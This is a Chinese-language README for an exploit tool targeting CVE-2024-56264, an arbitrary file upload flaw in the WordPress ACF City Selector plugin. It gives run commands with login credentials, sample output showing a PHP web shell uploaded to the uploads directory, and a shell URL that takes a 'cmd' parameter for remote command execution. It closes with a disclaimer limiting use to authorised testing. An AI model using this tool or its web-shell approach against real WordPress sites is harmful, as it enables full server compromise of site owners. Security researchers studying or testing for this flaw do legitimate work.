本仓库包含 CVE-2024-56264 的利用代码，该漏洞是 WordPress ACF City Selector 插件（版本 <= 1.14.0）中的 任意文件上传 漏洞。攻击者可以通过该漏洞向易受攻击的 WordPress 实例上传 恶意 PHP 文件（Web Shell），并在服务器上执行任意命令。
<= 1.14.0ACF City Selector 插件未能正确验证上传文件，从而允许攻击者 绕过限制 并上传 任意 PHP 文件。一旦恶意 PHP 文件上传成功，攻击者即可远程执行系统命令，导致 服务器完全沦陷。
运行脚本前请确保已安装以下内容：
requests 模块（安装命令：pip install requests）可使用以下命令安装所有必需的依赖项：
pip install -r requirements.txt
运行漏洞利用工具：
usage: CVE-2024-56264.py [-h] --url URL --username USERNAME --password PASSWORD
WordPress ACF City Selector 插件 <= 1.14.0 - 任意文件上传漏洞
options:
-h, --help 显示此帮助信息并退出
--url URL 网站基础 URL（例如：http://192.168.100.74/wordpress）
--username USERNAME WordPress 用户名
--password PASSWORD WordPress 密码
python CVE-2024-56264.py --url http://192.168.100.74:888/wordpress --username admin --password admin
成功利用后，您应看到：
[+] Detected plugin version: 1.14.0
[+] Vulnerable version detected! Proceeding with exploitation.
[+] Logged in successfully.
[+] Extracted nonce: abc1234
[+] Shell uploaded successfully: http://wordpress/wp-content/uploads/acfcs/q.php
若成功，可通过以下地址访问上传的 Shell：
http://wordpress/wp-content/uploads/acfcs/q.php?cmd=whoami
这使得攻击者可以在服务器上远程执行命令。
本脚本仅用于 教育和授权的安全测试目的。未经授权的使用是非法的，可能导致严重后果。作者 不对任何滥用此漏洞利用工具的行为负责。